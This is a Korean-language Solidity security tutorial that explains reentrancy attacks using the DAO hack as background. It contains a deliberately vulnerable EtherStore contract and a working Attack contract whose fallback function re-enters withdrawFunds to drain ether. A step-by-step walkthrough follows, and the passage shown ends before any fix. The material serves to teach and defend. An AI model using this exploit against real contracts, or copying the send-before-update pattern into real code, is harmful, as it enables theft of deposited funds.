
Solidity 보안
이 글은 Solidity 개발자들이 저질렀던 과거의 실수들을 상세히 다루는 비교적 깊이 있고 최신의 입문용 글을 목표로 하며, 미래의 개발자들이 역사를 반복하지 않도록 돕기 위한 것입니다.
이더리움 스마트 컨트랙트의 특징 중 하나는 다른 외부 컨트랙트의 코드를 호출하고 활용할 수 있다는 것입니다. 컨트랙트는 일반적으로 이더를 처리하며, 따라서 다양한 외부 사용자 주소로 이더를 보내는 경우가 많습니다. 외부 컨트랙트를 호출하거나 주소로 이더를 보내는 작업은 컨트랙트가 외부 호출을 실행하도록 요구합니다. 이러한 외부 호출은 공격자에게 탈취될 수 있으며, 공격자는 컨트랙트가 (예: 폴백 함수를 통해) 추가 코드를 실행하도록 강제하여 자신에게로의 재호출을 포함시킬 수 있습니다. 따라서 코드 실행이 컨트랙트에 "재진입"하게 됩니다. 이러한 종류의 공격은 악명 높은 DAO 해킹에서 사용되었습니다.
재진입 공격에 대해 더 자세히 알고 싶다면 Reentrancy Attack On Smart Contracts와 Consensus - Ethereum Smart Contract Best Practices를 참조하세요.
이 공격은 컨트랙트가 알 수 없는 주소로 이더를 보낼 때 발생할 수 있습니다. 공격자는 폴백 함수에 악성 코드가 포함된 컨트랙트를 외부 주소에 신중하게 구성할 수 있습니다. 따라서 컨트랙트가 이 주소로 이더를 보내면 악성 코드가 호출됩니다. 일반적으로 악성 코드는 취약한 컨트랙트의 함수를 실행하여 개발자가 기대하지 않은 작업을 수행합니다. "re-entrancy"라는 이름은 외부 악성 컨트랙트가 취약한 컨트랙트의 함수를 다시 호출하고, 취약한 컨트랙트의 임의의 위치에서 코드 실행을 "재진입"한다는 사실에서 비롯되었습니다.
이를 명확히 하기 위해, 예금자가 주당 1이더만 인출할 수 있게 하는 이더리움 금고 역할을 하는 간단한 취약한 컨트랙트를 살펴보겠습니다.
EtherStore.sol:```solidity contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
이 계약에는 두 개의 public 함수가 있습니다. `depositFunds()`와 `withdrawFunds()`입니다. `depositFunds()` 함수는 단순히 발신자의 잔액을 증가시킵니다. `withdrawFunds()` 함수는 발신자가 출금할 wei의 양을 지정할 수 있게 합니다. 이 함수는 요청한 출금 금액이 1 ether 미만이고 지난 한 주 동안 출금이 없었을 때만 성공합니다. 정말 그럴까요?...
취약점은 \[17\]번 줄에서 발생하는데, 여기서 사용자에게 요청한 ether 금액을 보냅니다. 다음 계약을 생성하는 악의적인 공격자를 생각해 보세요,
Attack.sol:```solidity
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// initialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
이 악성 계약이 어떻게 우리의 EtherStore 계약을 악용할 수 있는지 살펴보겠습니다. 공격자는 위 계약을 (예를 들어 주소 0x0...123에) EtherStore의 계약 주소를 생성자 매개변수로 사용하여 생성할 것입니다. 이렇게 하면 공개 변수 etherStore가 초기화되어 우리가 공격하려는 계약을 가리키게 됩니다.
이후 공격자는 pwnEtherStore() 함수를 일정량의 이더(1보다 크거나 같은)와 함께 호출합니다. 이 예시에서는 1 ether라고 가정하겠습니다. 이 예시에서는 여러 다른 사용자들이 이 계약에 이더를 예치하여 현재 잔액이 10 ether라고 가정합니다. 그러면 다음이 발생합니다:
Attack.sol - 라인 [15] - EtherStore 계약의 depositFunds() 함수가 msg.value가 1 ether인 상태에서 (많은 가스와 함께) 호출됩니다. 발신자(msg.sender)는 우리의 악성 계약(0x0...123)입니다. 따라서 balances[0x0..123] = 1 ether가 됩니다.
Attack.sol - 라인 [17] - 악성 계약은 그런 다음 EtherStore 계약의 withdrawFunds() 함수를 1 ether 매개변수로 호출합니다. 이전에 출금한 적이 없으므로 모든 요구 사항(EtherStore 계약의 라인 [12]-[16])을 통과합니다.
EtherStore.sol - 라인 [17] - 계약은 그런 다음 1 ether를 악성 계약으로 다시 보냅니다.
Attack.sol - 라인 [25] - 악성 계약으로 보내진 이더는 그런 다음 폴백 함수를 실행합니다.
Attack.sol - 라인 [26] - EtherStore 계약의 총 잔액은 10 ether였으며 이제 9 ether이므로 이 if 문이 통과합니다.
Attack.sol - 라인 [27] - 폴백 함수는 그런 다음 EtherStore의 withdrawFunds() 함수를 다시 호출하여 EtherStore 계약을 "재진입"합니다.
EtherStore.sol - 라인 [11] - withdrawFunds()에 대한 이 두 번째 호출에서 라인 [18]이 아직 실행되지 않았으므로 우리의 잔액은 여전히 1 ether입니다. 따라서 여전히 balances[0x0..123] = 1 ether입니다. lastWithdrawTime 변수도 마찬가지입니다. 다시 한 번 모든 요구 사항을 통과합니다.
EtherStore.sol - 라인 [17] - 우리는 또 다른 1 ether를 출금합니다.